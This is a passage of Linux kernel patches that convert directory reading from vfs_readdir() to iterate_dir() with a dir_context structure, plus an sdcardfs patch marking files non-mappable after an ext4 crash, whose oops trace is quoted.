77480d6a01e9f..7095aa98729c9 100644 --- a/fs/compat.c +++ b/fs/compat.c @@ -832,6 +832,7 @@ struct compat_old_linux_dirent { }; struct compat_readdir_callback { + struct dir_context ctx; struct compat_old_linux_dirent __user *dirent; int result; }; @@ -880,8 +881,9 @@ asmlinkage long compat_sys_old_readdir(unsigned int fd, buf.result = 0; buf.dirent = dirent; + buf.ctx.actor = compat_fillonedir; - error = vfs_readdir(f.file, compat_fillonedir, &buf); + error = iterate_dir(f.file, &buf.ctx); if (buf.result) error = buf.result; @@ -897,6 +899,7 @@ struct compat_linux_dirent { }; struct compat_getdents_callback { + struct dir_context ctx; struct compat_linux_dirent __user *current_dir; struct compat_linux_dirent __user *previous; int count; @@ -965,8 +968,9 @@ asmlinkage long compat_sys_getdents(unsigned int fd, buf.previous = NULL; buf.count = count; buf.error = 0; + buf.ctx.actor = compat_filldir; - error = vfs_readdir(f.file, compat_filldir, &buf); + error = iterate_dir(f.file, &buf.ctx); if (error >= 0) error = buf.error; lastdirent = buf.previous; @@ -983,6 +987,7 @@ asmlinkage long compat_sys_getdents(unsigned int fd, #ifdef __ARCH_WANT_COMPAT_SYS_GETDENTS64 struct compat_getdents_callback64 { + struct dir_context ctx; struct linux_dirent64 __user *current_dir; struct linux_dirent64 __user *previous; int count; @@ -1050,8 +1055,9 @@ asmlinkage long compat_sys_getdents64(unsigned int fd, buf.previous = NULL; buf.count = count; buf.error = 0; + buf.ctx.actor = compat_filldir64; - error = vfs_readdir(f.file, compat_filldir64, &buf); + error = iterate_dir(f.file, &buf.ctx); if (error >= 0) error = buf.error; lastdirent = buf.previous; diff --git a/fs/ecryptfs/file.c b/fs/ecryptfs/file.c index d4644cc938ba1..fac9d0125fb69 100644 --- a/fs/ecryptfs/file.c +++ b/fs/ecryptfs/file.c @@ -68,6 +68,7 @@ static ssize_t ecryptfs_read_update_atime(struct kiocb *iocb, } struct ecryptfs_getdents_callback { + struct dir_context ctx; void *dirent; struct dentry *dentry; filldir_t filldir; @@ -126,7 +127,8 @@ static int ecryptfs_readdir(struct file *file, void *dirent, filldir_t filldir) buf.filldir = filldir; buf.filldir_called = 0; buf.entries_written = 0; - rc = vfs_readdir(lower_file, ecryptfs_filldir, (void *)&buf); + buf.ctx.actor = ecryptfs_filldir; + rc = iterate_dir(lower_file, &buf.ctx); file->f_pos = lower_file->f_pos; if (rc < 0) goto out; diff --git a/fs/exportfs/expfs.c b/fs/exportfs/expfs.c index b4eec4c9a790d..95b32a6fb3b76 100644 --- a/fs/exportfs/expfs.c +++ b/fs/exportfs/expfs.c @@ -212,6 +212,7 @@ reconnect_path(struct vfsmount *mnt, struct dentry *target_dir, char *nbuf) } struct getdents_callback { + struct dir_context ctx; char *name; /* name that was found. It already points to a buffer NAME_MAX+1 is size */ unsigned long ino; /* the inum we are looking for */ @@ -278,10 +279,11 @@ static int get_name(const struct path *path, char *name, struct dentry *child) buffer.ino = child->d_inode->i_ino; buffer.found = 0; buffer.sequence = 0; + buffer.ctx.actor = filldir_one; while (1) { int old_seq = buffer.sequence; - error = vfs_readdir(file, filldir_one, &buffer); + error = iterate_dir(file, &buffer.ctx); if (buffer.found) { error = 0; break; diff --git a/fs/nfsd/nfs4recover.c b/fs/nfsd/nfs4recover.c index 4e9a21db867ae..4f8cc6ba7c28e 100644 --- a/fs/nfsd/nfs4recover.c +++ b/fs/nfsd/nfs4recover.c @@ -263,7 +263,10 @@ nfsd4_list_rec_dir(recdir_func *f, struct nfsd_net *nn) { const struct cred *original_cred; struct dentry *dir = nn->rec_file->f_path.dentry; - LIST_HEAD(names); + struct { + struct dir_context ctx; + struct list_head names; + } ctx; int status; status = nfs4_save_creds(&original_cred); @@ -276,11 +279,13 @@ nfsd4_list_rec_dir(recdir_func *f, struct nfsd_net *nn) return status; } - status = vfs_readdir(nn->rec_file, nfsd4_build_namelist, &names); + INIT_LIST_HEAD(&ctx.names); + ctx.ctx.actor = nfsd4_build_namelist; + status = iterate_dir(nn->rec_file, &ctx.ctx); mutex_lock_nested(&dir->d_inode->i_mutex, I_MUTEX_PARENT); - while (!list_empty(&names)) { + while (!list_empty(&ctx.names)) { struct name_list *entry; - entry = list_entry(names.next, struct name_list, list); + entry = list_entry(ctx.names.next, struct name_list, list); if (!status) { struct dentry *dentry; dentry = lookup_one_len(entry->name, dir, HEXDIR_LEN-1); diff --git a/fs/nfsd/vfs.c b/fs/nfsd/vfs.c index 81325ba8660ae..39098d186af12 100644 --- a/fs/nfsd/vfs.c +++ b/fs/nfsd/vfs.c @@ -1950,6 +1950,7 @@ struct buffered_dirent { }; struct readdir_data { + struct dir_context ctx; char *dirent; size_t used; int full; @@ -1987,6 +1988,7 @@ static __be32 nfsd_buffered_readdir(struct file *file, filldir_t func, int size; loff_t offset; + buf.ctx.actor = nfsd_buffered_filldir; buf.dirent = (void *)__get_free_page(GFP_KERNEL); if (!buf.dirent) return nfserrno(-ENOMEM); @@ -2001,7 +2003,7 @@ static __be32 nfsd_buffered_readdir(struct file *file, filldir_t func, buf.used = 0; buf.full = 0; - host_err = vfs_readdir(file, nfsd_buffered_filldir, &buf); + host_err = iterate_dir(file, &buf.ctx); if (buf.full) host_err = 0; diff --git a/fs/readdir.c b/fs/readdir.c index fee38e04fae4a..5b620a2b45e62 100644 --- a/fs/readdir.c +++ b/fs/readdir.c @@ -20,7 +20,7 @@ #include -int vfs_readdir(struct file *file, filldir_t filler, void *buf) +int iterate_dir(struct file *file, struct dir_context *ctx) { struct inode *inode = file_inode(file); int res = -ENOTDIR; @@ -37,15 +37,14 @@ int vfs_readdir(struct file *file, filldir_t filler, void *buf) res = -ENOENT; if (!IS_DEADDIR(inode)) { - res = file->f_op->readdir(file, buf, filler); + res = file->f_op->readdir(file, ctx, ctx->actor); file_accessed(file); } mutex_unlock(&inode->i_mutex); out: return res; } - -EXPORT_SYMBOL(vfs_readdir); +EXPORT_SYMBOL(iterate_dir); /* * Traditional linux readdir() handling.. @@ -66,6 +65,7 @@ struct old_linux_dirent { }; struct readdir_callback { + struct dir_context ctx; struct old_linux_dirent __user * dirent; int result; }; @@ -73,7 +73,7 @@ struct readdir_callback { static int fillonedir(void * __buf, const char * name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - struct readdir_callback * buf = (struct readdir_callback *) __buf; + struct readdir_callback *buf = (struct readdir_callback *) __buf; struct old_linux_dirent __user * dirent; unsigned long d_ino; @@ -112,10 +112,11 @@ SYSCALL_DEFINE3(old_readdir, unsigned int, fd, if (!f.file) return -EBADF; + buf.ctx.actor = fillonedir; buf.result = 0; buf.dirent = dirent; - error = vfs_readdir(f.file, fillonedir, &buf); + error = iterate_dir(f.file, &buf.ctx); if (buf.result) error = buf.result; @@ -137,6 +138,7 @@ struct linux_dirent { }; struct getdents_callback { + struct dir_context ctx; struct linux_dirent __user * current_dir; struct linux_dirent __user * previous; int count; @@ -205,8 +207,9 @@ SYSCALL_DEFINE3(getdents, unsigned int, fd, buf.previous = NULL; buf.count = count; buf.error = 0; + buf.ctx.actor = filldir; - error = vfs_readdir(f.file, filldir, &buf); + error = iterate_dir(f.file, &buf.ctx); if (error >= 0) error = buf.error; lastdirent = buf.previous; @@ -221,6 +224,7 @@ SYSCALL_DEFINE3(getdents, unsigned int, fd, } struct getdents_callback64 { + struct dir_context ctx; struct linux_dirent64 __user * current_dir; struct linux_dirent64 __user * previous; int count; @@ -285,8 +289,9 @@ SYSCALL_DEFINE3(getdents64, unsigned int, fd, buf.previous = NULL; buf.count = count; buf.error = 0; + buf.ctx.actor = filldir64; - error = vfs_readdir(f.file, filldir64, &buf); + error = iterate_dir(f.file, &buf.ctx); if (error >= 0) error = buf.error; lastdirent = buf.previous; diff --git a/include/linux/fs.h b/include/linux/fs.h index 41daf6a73cb03..feb9bbdd65bda 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1506,6 +1506,9 @@ int fiemap_check_flags(struct fiemap_extent_info *fieinfo, u32 fs_flags); * to have different dirent layouts depending on the binary type. */ typedef int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned); +struct dir_context { + filldir_t actor; +}; struct block_device_operations; /* These macros are for out of kernel modules to test that @@ -2499,6 +2502,7 @@ loff_t inode_get_bytes(struct inode *inode); void inode_set_bytes(struct inode *inode, loff_t bytes); extern int vfs_readdir(struct file *, filldir_t, void *); +extern int iterate_dir(struct file *, struct dir_context *); extern int vfs_stat(const char __user *, struct kstat *); extern int vfs_lstat(const char __user *, struct kstat *); From 5a8fa9045c881ba64985ca183b636d282b5430f7 Mon Sep 17 00:00:00 2001 From: Al Viro Date: Wed, 15 May 2013 18:49:12 -0400 Subject: [PATCH 324/365] introduce ->iterate(), ctx->pos, dir_emit() New method - ->iterate(file, ctx). That's the replacement for ->readdir(); it takes callback from ctx->actor, uses ctx->pos instead of file->f_pos and calls dir_emit(ctx, ...) instead of filldir(data, ...). It does *not* update file->f_pos (or look at it, for that matter); iterate_dir() does the update. Note that dir_emit() takes the offset from ctx->pos (and eventually filldir_t will lose that argument). Signed-off-by: Al Viro Git-commit: 83fd542759010949ac7d9638b615fac1bb9744e1 Git-repo: https://android.googlesource.com/kernel/common.git Signed-off-by: Kaushal Kumar --- arch/parisc/hpux/fs.c | 2 +- fs/coda/dir.c | 19 +++++++++++++++---- fs/compat.c | 4 ++-- fs/exportfs/expfs.c | 2 +- fs/nfsd/nfs4recover.c | 14 ++++++++------ fs/readdir.c | 15 +++++++++++---- include/linux/fs.h | 9 +++++++++ 7 files changed, 47 insertions(+), 18 deletions(-) diff --git a/arch/parisc/hpux/fs.c b/arch/parisc/hpux/fs.c index fc2cbee86e349..eca8230267cc7 100644 --- a/arch/parisc/hpux/fs.c +++ b/arch/parisc/hpux/fs.c @@ -129,7 +129,7 @@ int hpux_getdents(unsigned int fd, struct hpux_dirent __user *dirent, unsigned i error = buf.error; lastdirent = buf.previous; if (lastdirent) { - if (put_user(arg.file->f_pos, &lastdirent->d_off)) + if (put_user(buf.ctx.pos, &lastdirent->d_off)) error = -EFAULT; else error = count - buf.count; diff --git a/fs/coda/dir.c b/fs/coda/dir.c index b7d3a05c062c0..fc66861b35985 100644 --- a/fs/coda/dir.c +++ b/fs/coda/dir.c @@ -391,8 +391,7 @@ static int coda_readdir(struct file *coda_file, void *buf, filldir_t filldir) if (!host_file->f_op) return -ENOTDIR; - if (host_file->f_op->readdir) - { + if (host_file->f_op->readdir) { /* potemkin case: we were handed a directory inode. * We can't use vfs_readdir because we have to keep the file * position in sync between the coda_file and the host_file. @@ -410,8 +409,20 @@ static int coda_readdir(struct file *coda_file, void *buf, filldir_t filldir) coda_file->f_pos = host_file->f_pos; mutex_unlock(&host_inode->i_mutex); - } - else /* Venus: we must read Venus dirents from a file */ + } else if (host_file->f_op->iterate) { + struct inode *host_inode = file_inode(host_file); + struct dir_context *ctx = buf; + + mutex_lock(&host_inode->i_mutex); + ret = -ENOENT; + if (!IS_DEADDIR(host_inode)) { + ret = host_file->f_op->iterate(host_file, ctx); + file_accessed(host_file); + } + mutex_unlock(&host_inode->i_mutex); + + coda_file->f_pos = ctx->pos; + } else /* Venus: we must read Venus dirents from a file */ ret = coda_venus_readdir(coda_file, buf, filldir); return ret; diff --git a/fs/compat.c b/fs/compat.c index 7095aa98729c9..c76d44d067980 100644 --- a/fs/compat.c +++ b/fs/compat.c @@ -975,7 +975,7 @@ asmlinkage long compat_sys_getdents(unsigned int fd, error = buf.error; lastdirent = buf.previous; if (lastdirent) { - if (put_user(f.file->f_pos, &lastdirent->d_off)) + if (put_user(buf.ctx.pos, &lastdirent->d_off)) error = -EFAULT; else error = count - buf.count; @@ -1062,7 +1062,7 @@ asmlinkage long compat_sys_getdents64(unsigned int fd, error = buf.error; lastdirent = buf.previous; if (lastdirent) { - typeof(lastdirent->d_off) d_off = f.file->f_pos; + typeof(lastdirent->d_off) d_off = buf.ctx.pos; if (__put_user_unaligned(d_off, &lastdirent->d_off)) error = -EFAULT; else diff --git a/fs/exportfs/expfs.c b/fs/exportfs/expfs.c index 95b32a6fb3b76..34e0905df1cbc 100644 --- a/fs/exportfs/expfs.c +++ b/fs/exportfs/expfs.c @@ -272,7 +272,7 @@ static int get_name(const struct path *path, char *name, struct dentry *child) goto out; error = -EINVAL; - if (!file->f_op->readdir) + if (!file->f_op->readdir && !file->f_op->iterate) goto out_close; buffer.name = name; diff --git a/fs/nfsd/nfs4recover.c b/fs/nfsd/nfs4recover.c index 4f8cc6ba7c28e..2fa2e2eb190b5 100644 --- a/fs/nfsd/nfs4recover.c +++ b/fs/nfsd/nfs4recover.c @@ -240,11 +240,16 @@ struct name_list { struct list_head list; }; +struct nfs4_dir_ctx { + struct dir_context ctx; + struct list_head names; +}; + static int nfsd4_build_namelist(void *arg, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { - struct list_head *names = arg; + struct nfs4_dir_ctx *ctx = arg; struct name_list *entry; if (namlen != HEXDIR_LEN - 1) @@ -254,7 +259,7 @@ nfsd4_build_namelist(void *arg, const char *name, int namlen, return -ENOMEM; memcpy(entry->name, name, HEXDIR_LEN - 1); entry->name[HEXDIR_LEN - 1] = '\0'; - list_add(&entry->list, names); + list_add(&entry->list, &ctx->names); return 0; } @@ -263,10 +268,7 @@ nfsd4_list_rec_dir(recdir_func *f, struct nfsd_net *nn) { const struct cred *original_cred; struct dentry *dir = nn->rec_file->f_path.dentry; - struct { - struct dir_context ctx; - struct list_head names; - } ctx; + struct nfs4_dir_ctx ctx; int status; status = nfs4_save_creds(&original_cred); diff --git a/fs/readdir.c b/fs/readdir.c index 5b620a2b45e62..5d6578affbbf9 100644 --- a/fs/readdir.c +++ b/fs/readdir.c @@ -24,7 +24,7 @@ int iterate_dir(struct file *file, struct dir_context *ctx) { struct inode *inode = file_inode(file); int res = -ENOTDIR; - if (!file->f_op || !file->f_op->readdir) + if (!file->f_op || (!file->f_op->readdir && !file->f_op->iterate)) goto out; res = security_file_permission(file, MAY_READ); @@ -37,7 +37,14 @@ int iterate_dir(struct file *file, struct dir_context *ctx) res = -ENOENT; if (!IS_DEADDIR(inode)) { - res = file->f_op->readdir(file, ctx, ctx->actor); + if (file->f_op->iterate) { + ctx->pos = file->f_pos; + res = file->f_op->iterate(file, ctx); + file->f_pos = ctx->pos; + } else { + res = file->f_op->readdir(file, ctx, ctx->actor); + ctx->pos = file->f_pos; + } file_accessed(file); } mutex_unlock(&inode->i_mutex); @@ -214,7 +221,7 @@ SYSCALL_DEFINE3(getdents, unsigned int, fd, error = buf.error; lastdirent = buf.previous; if (lastdirent) { - if (put_user(f.file->f_pos, &lastdirent->d_off)) + if (put_user(buf.ctx.pos, &lastdirent->d_off)) error = -EFAULT; else error = count - buf.count; @@ -296,7 +303,7 @@ SYSCALL_DEFINE3(getdents64, unsigned int, fd, error = buf.error; lastdirent = buf.previous; if (lastdirent) { - typeof(lastdirent->d_off) d_off = f.file->f_pos; + typeof(lastdirent->d_off) d_off = buf.ctx.pos; if (__put_user(d_off, &lastdirent->d_off)) error = -EFAULT; else diff --git a/include/linux/fs.h b/include/linux/fs.h index feb9bbdd65bda..26fc4d8d7cc7d 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1508,7 +1508,15 @@ int fiemap_check_flags(struct fiemap_extent_info *fieinfo, u32 fs_flags); typedef int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned); struct dir_context { filldir_t actor; + loff_t pos; }; + +static inline bool dir_emit(struct dir_context *ctx, + const char *name, int namelen, + u64 ino, unsigned type) +{ + return ctx->actor(ctx, name, namelen, ctx->pos, ino, type) == 0; +} struct block_device_operations; /* These macros are for out of kernel modules to test that @@ -1525,6 +1533,7 @@ struct file_operations { ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t); ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t); int (*readdir) (struct file *, void *, filldir_t); + int (*iterate) (struct file *, struct dir_context *); unsigned int (*poll) (struct file *, struct poll_table_struct *); long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); long (*compat_ioctl) (struct file *, unsigned int, unsigned long); From 348abd0ed7aaa997735ca2154aa9238a569a4901 Mon Sep 17 00:00:00 2001 From: Al Viro Date: Wed, 22 May 2013 22:22:04 -0400 Subject: [PATCH 325/365] constify ->actor Signed-off-by: Al Viro Git-commit: b2497fc3057ae27db9aa29579f16ae5afb6d6d08 Git-repo: https://android.googlesource.com/kernel/common.git Signed-off-by: Kaushal Kumar --- arch/alpha/kernel/osf_sys.c | 13 ++++++------- arch/parisc/hpux/fs.c | 12 +++++------- fs/compat.c | 33 ++++++++++++++------------------- fs/exportfs/expfs.c | 10 +++++----- fs/gfs2/export.c | 6 ++++-- fs/nfsd/nfs4recover.c | 7 ++++--- fs/nfsd/vfs.c | 7 ++++--- fs/readdir.c | 33 ++++++++++++++------------------- include/linux/fs.h | 2 +- 9 files changed, 57 insertions(+), 66 deletions(-) diff --git a/arch/alpha/kernel/osf_sys.c b/arch/alpha/kernel/osf_sys.c index ac19c7299d8e1..1402fcc11c2c0 100644 --- a/arch/alpha/kernel/osf_sys.c +++ b/arch/alpha/kernel/osf_sys.c @@ -147,17 +147,16 @@ SYSCALL_DEFINE4(osf_getdirentries, unsigned int, fd, { int error; struct fd arg = fdget(fd); - struct osf_dirent_callback buf; + struct osf_dirent_callback buf = { + .ctx.actor = osf_filldir, + .dirent = dirent, + .basep = basep, + .count = count + }; if (!arg.file) return -EBADF; - buf.dirent = dirent; - buf.basep = basep; - buf.count = count; - buf.error = 0; - buf.ctx.actor = osf_filldir; - error = iterate_dir(arg.file, &buf.ctx); if (error >= 0) error = buf.error; diff --git a/arch/parisc/hpux/fs.c b/arch/parisc/hpux/fs.c index eca8230267cc7..88d0962de65a8 100644 --- a/arch/parisc/hpux/fs.c +++ b/arch/parisc/hpux/fs.c @@ -111,19 +111,17 @@ int hpux_getdents(unsigned int fd, struct hpux_dirent __user *dirent, unsigned i { struct fd arg; struct hpux_dirent __user * lastdirent; - struct getdents_callback buf; + struct getdents_callback buf = { + .ctx.actor = filldir, + .current_dir = dirent, + .count = count + }; int error; arg = fdget(fd); if (!arg.file) return -EBADF; - buf.current_dir = dirent; - buf.previous = NULL; - buf.count = count; - buf.error = 0; - buf.ctx.actor = filldir; - error = iterate_dir(arg.file, &buf.ctx); if (error >= 0) error = buf.error; diff --git a/fs/compat.c b/fs/compat.c index c76d44d067980..0095a6978eef1 100644 --- a/fs/compat.c +++ b/fs/compat.c @@ -874,15 +874,14 @@ asmlinkage long compat_sys_old_readdir(unsigned int fd, { int error; struct fd f = fdget(fd); - struct compat_readdir_callback buf; + struct compat_readdir_callback buf = { + .ctx.actor = compat_fillonedir, + .dirent = dirent + }; if (!f.file) return -EBADF; - buf.result = 0; - buf.dirent = dirent; - buf.ctx.actor = compat_fillonedir; - error = iterate_dir(f.file, &buf.ctx); if (buf.result) error = buf.result; @@ -954,7 +953,11 @@ asmlinkage long compat_sys_getdents(unsigned int fd, { struct fd f; struct compat_linux_dirent __user * lastdirent; - struct compat_getdents_callback buf; + struct compat_getdents_callback buf = { + .ctx.actor = compat_filldir, + .current_dir = dirent, + .count = count + }; int error; if (!access_ok(VERIFY_WRITE, dirent, count)) @@ -964,12 +967,6 @@ asmlinkage long compat_sys_getdents(unsigned int fd, if (!f.file) return -EBADF; - buf.current_dir = dirent; - buf.previous = NULL; - buf.count = count; - buf.error = 0; - buf.ctx.actor = compat_filldir; - error = iterate_dir(f.file, &buf.ctx); if (error >= 0) error = buf.error; @@ -1041,7 +1038,11 @@ asmlinkage long compat_sys_getdents64(unsigned int fd, { struct fd f; struct linux_dirent64 __user * lastdirent; - struct compat_getdents_callback64 buf; + struct compat_getdents_callback64 buf = { + .ctx.actor = compat_filldir64, + .current_dir = dirent, + .count = count + }; int error; if (!access_ok(VERIFY_WRITE, dirent, count)) @@ -1051,12 +1052,6 @@ asmlinkage long compat_sys_getdents64(unsigned int fd, if (!f.file) return -EBADF; - buf.current_dir = dirent; - buf.previous = NULL; - buf.count = count; - buf.error = 0; - buf.ctx.actor = compat_filldir64; - error = iterate_dir(f.file, &buf.ctx); if (error >= 0) error = buf.error; diff --git a/fs/exportfs/expfs.c b/fs/exportfs/expfs.c index 34e0905df1cbc..dc4784b52d92c 100644 --- a/fs/exportfs/expfs.c +++ b/fs/exportfs/expfs.c @@ -255,7 +255,11 @@ static int get_name(const struct path *path, char *name, struct dentry *child) struct inode *dir = path->dentry->d_inode; int error; struct file *file; - struct getdents_callback buffer; + struct getdents_callback buffer = { + .ctx.actor = filldir_one, + .name = name, + .ino = child->d_inode->i_ino + }; error = -ENOTDIR; if (!dir || !S_ISDIR(dir->i_mode)) @@ -275,11 +279,7 @@ static int get_name(const struct path *path, char *name, struct dentry *child) if (!file->f_op->readdir && !file->f_op->iterate) goto out_close; - buffer.name = name; - buffer.ino = child->d_inode->i_ino; - buffer.found = 0; buffer.sequence = 0; - buffer.ctx.actor = filldir_one; while (1) { int old_seq = buffer.sequence; diff --git a/fs/gfs2/export.c b/fs/gfs2/export.c index 9973df4ff565b..7102c7a5af4dc 100644 --- a/fs/gfs2/export.c +++ b/fs/gfs2/export.c @@ -88,7 +88,10 @@ static int gfs2_get_name(struct dentry *parent, char *name, struct inode *dir = parent->d_inode; struct inode *inode = child->d_inode; struct gfs2_inode *dip, *ip; - struct get_name_filldir gnfd; + struct get_name_filldir gnfd = { + .ctx.actor = get_name_filldir, + .name = name + }; struct gfs2_holder gh; u64 offset = 0; int error; @@ -106,7 +109,6 @@ static int gfs2_get_name(struct dentry *parent, char *name, *name = 0; gnfd.inum.no_addr = ip->i_no_addr; gnfd.inum.no_formal_ino = ip->i_no_formal_ino; - gnfd.name = name; error = gfs2_glock_nq_init(dip->i_gl, LM_ST_SHARED, 0, &gh); if (error) diff --git a/fs/nfsd/nfs4recover.c b/fs/nfsd/nfs4recover.c index 2fa2e2eb190b5..105a3b080d123 100644 --- a/fs/nfsd/nfs4recover.c +++ b/fs/nfsd/nfs4recover.c @@ -268,7 +268,10 @@ nfsd4_list_rec_dir(recdir_func *f, struct nfsd_net *nn) { const struct cred *original_cred; struct dentry *dir = nn->rec_file->f_path.dentry; - struct nfs4_dir_ctx ctx; + struct nfs4_dir_ctx ctx = { + .ctx.actor = nfsd4_build_namelist, + .names = LIST_HEAD_INIT(ctx.names) + }; int status; status = nfs4_save_creds(&original_cred); @@ -281,8 +284,6 @@ nfsd4_list_rec_dir(recdir_func *f, struct nfsd_net *nn) return status; } - INIT_LIST_HEAD(&ctx.names); - ctx.ctx.actor = nfsd4_build_namelist; status = iterate_dir(nn->rec_file, &ctx.ctx); mutex_lock_nested(&dir->d_inode->i_mutex, I_MUTEX_PARENT); while (!list_empty(&ctx.names)) { diff --git a/fs/nfsd/vfs.c b/fs/nfsd/vfs.c index 39098d186af12..11224fa5ff25a 100644 --- a/fs/nfsd/vfs.c +++ b/fs/nfsd/vfs.c @@ -1982,14 +1982,15 @@ static int nfsd_buffered_filldir(void *__buf, const char *name, int namlen, static __be32 nfsd_buffered_readdir(struct file *file, filldir_t func, struct readdir_cd *cdp, loff_t *offsetp) { - struct readdir_data buf; struct buffered_dirent *de; int host_err; int size; loff_t offset; + struct readdir_data buf = { + .ctx.actor = nfsd_buffered_filldir, + .dirent = (void *)__get_free_page(GFP_KERNEL) + }; - buf.ctx.actor = nfsd_buffered_filldir; - buf.dirent = (void *)__get_free_page(GFP_KERNEL); if (!buf.dirent) return nfserrno(-ENOMEM); diff --git a/fs/readdir.c b/fs/readdir.c index 5d6578affbbf9..d46eca8567a41 100644 --- a/fs/readdir.c +++ b/fs/readdir.c @@ -114,15 +114,14 @@ SYSCALL_DEFINE3(old_readdir, unsigned int, fd, { int error; struct fd f = fdget(fd); - struct readdir_callback buf; + struct readdir_callback buf = { + .ctx.actor = fillonedir, + .dirent = dirent + }; if (!f.file) return -EBADF; - buf.ctx.actor = fillonedir; - buf.result = 0; - buf.dirent = dirent; - error = iterate_dir(f.file, &buf.ctx); if (buf.result) error = buf.result; @@ -200,7 +199,11 @@ SYSCALL_DEFINE3(getdents, unsigned int, fd, { struct fd f; struct linux_dirent __user * lastdirent; - struct getdents_callback buf; + struct getdents_callback buf = { + .ctx.actor = filldir, + .count = count, + .current_dir = dirent + }; int error; if (!access_ok(VERIFY_WRITE, dirent, count)) @@ -210,12 +213,6 @@ SYSCALL_DEFINE3(getdents, unsigned int, fd, if (!f.file) return -EBADF; - buf.current_dir = dirent; - buf.previous = NULL; - buf.count = count; - buf.error = 0; - buf.ctx.actor = filldir; - error = iterate_dir(f.file, &buf.ctx); if (error >= 0) error = buf.error; @@ -282,7 +279,11 @@ SYSCALL_DEFINE3(getdents64, unsigned int, fd, { struct fd f; struct linux_dirent64 __user * lastdirent; - struct getdents_callback64 buf; + struct getdents_callback64 buf = { + .ctx.actor = filldir64, + .count = count, + .current_dir = dirent + }; int error; if (!access_ok(VERIFY_WRITE, dirent, count)) @@ -292,12 +293,6 @@ SYSCALL_DEFINE3(getdents64, unsigned int, fd, if (!f.file) return -EBADF; - buf.current_dir = dirent; - buf.previous = NULL; - buf.count = count; - buf.error = 0; - buf.ctx.actor = filldir64; - error = iterate_dir(f.file, &buf.ctx); if (error >= 0) error = buf.error; diff --git a/include/linux/fs.h b/include/linux/fs.h index 26fc4d8d7cc7d..db2ca0cc2668e 100644 --- a/include/linux/fs.h +++ b/include/linux/fs.h @@ -1507,7 +1507,7 @@ int fiemap_check_flags(struct fiemap_extent_info *fieinfo, u32 fs_flags); */ typedef int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned); struct dir_context { - filldir_t actor; + const filldir_t actor; loff_t pos; }; From 50556243221078db086a689093ee3a496937e1a4 Mon Sep 17 00:00:00 2001 From: fluxi Date: Tue, 25 Oct 2016 16:23:08 +0300 Subject: [PATCH 326/365] sdcardfs: Flag files as non-mappable Implement Samsung's FMODE_NONMAPPABLE flag from sdcardfs version 2.1.4 as we hit a BUG on ext4: [ 49.655037]@0 Kernel BUG at ffffffc0001deeec [verbose debug info unavailable] [ 49.655045]@0 Internal error: Oops - BUG: 0 [#1] PREEMPT SMP [ 49.655052]@0 Modules linked in: [ 49.655061]@0 CPU: 0 PID: 283 Comm: kworker/u8:7 Tainted: G W 3.18.20-perf-g3be2054-00086-ga8307fb #1 [ 49.655070]@0 Hardware name: Qualcomm Technologies, Inc. MSM 8996 v3 + PMI8996 MTP (DT) [ 49.655077]@0 Workqueue: writeback bdi_writeback_workfn (flush-8:0) [ 49.655096]@0 task: ffffffc174ba8b00 ti: ffffffc174bb4000 task.ti: ffffffc174bb4000 [ 49.655108]@0 PC is at mpage_prepare_extent_to_map+0x198/0x218 [ 49.655116]@0 LR is at mpage_prepare_extent_to_map+0x110/0x218 [ 49.655121]@0 pc : [] lr : [] pstate: 60000145 [ 49.655126]@0 sp : ffffffc174bb7800 [ 49.655130]@0 x29: ffffffc174bb7800 x28: ffffffc174bb7880 [ 49.655140]@0 x27: 000000000000000d x26: ffffffc1245505e8 [ 49.655149]@0 x25: 0000000000000000 x24: 0000000000003400 [ 49.655160]@0 x23: ffffffffffffffff x22: 0000000000000000 [ 49.655172]@0 x21: ffffffc174bb7888 x20: ffffffc174bb79e0 [ 49.655182]@0 x19: ffffffbdc4ee7b80 x18: 0000007f92872000 [ 49.655191]@0 x17: 0000007f959b6424 x16: ffffffc00016d1ac [ 49.655201]@0 x15: 0000007f9285d158 x14: ffffffc1734796e8 [ 49.655210]@0 x13: ffffffbdc1ffa4c0 x12: ffffffbdc4ee7b80 [ 49.655220]@0 x11: 0000000000000100 x10: 0000000000000000 [ 49.655229]@0 x9 : 0000000000000000 x8 : ffffffc0b444e210 [ 49.655237]@0 x7 : 0000000000000000 x6 : ffffffc0b444e1e0 [ 49.655246]@0 x5 : 0000000000000000 x4 : 0000000000000001 [ 49.655254]@0 x3 : 0000000000000000 x2 : 400000000002003d [ 49.655263]@0 x1 : ffffffbdc4ee7b80 x0 : 400000000002003d [ 49.655271]@0 [ 49.656502]@0 Process kworker/u8:7 (pid: 283, stack limit = 0xffffffc174bb4058) [ 49.656509]@0 Call trace: [ 49.656514]@0 [] mpage_prepare_extent_to_map+0x198/0x218 [ 49.656526]@0 [] ext4_writepages+0x270/0xa58 [ 49.656533]@0 [] do_writepages+0x24/0x40 [ 49.656541]@0 [] __writeback_single_inode+0x40/0x114 [ 49.656549]@0 [] writeback_sb_inodes+0x1dc/0x34c [ 49.656555]@0 [] __writeback_inodes_wb+0x7c/0xc4 [ 49.656560]@0 [] wb_writeback+0x110/0x1a8 [ 49.656565]@0 [] wb_check_old_data_flush+0x88/0x98 [ 49.656571]@0 [] bdi_writeback_workfn+0xf4/0x1fc [ 49.656576]@0 [] process_one_work+0x1e0/0x300 [ 49.656585]@0 [] worker_thread+0x318/0x438 [ 49.656590]@0 [] kthread+0xe0/0xec [ 49.656598]@0 Code: f9400260 f9400a63 1ad92063 37580040 (e7f001f2) [ 49.656604]@0 ---[ end trace cbed09f772fd630d ]--- Conflicts: include/linux/fs.h mm/mmap.c Change-Id: I931da7cb3841db1f130dba298a7d256b6f02d1bc --- fs/sdcardfs/file.c | 8 ++++++++ include/linux/fs.h | 4 ++++ mm/mmap.c | 3 +++ 3 files changed, 15 insertions(+) diff --git a/fs/sdcardfs/file.c b/fs/sdcardfs/file.c index 369051e6dce2a..2b3aa03ab2711 100755 --- a/fs/sdcardfs/file.c +++ b/fs/sdcardfs/file.c @@ -227,6 +227,7 @@ static int sdcardfs_open(struct inode *inode, struct file *file) /* save current_cred and override it */ OVERRIDE_CRED(sbi, saved_cred); + file->f_mode |= FMODE_NONMAPPABLE; file->private_data = 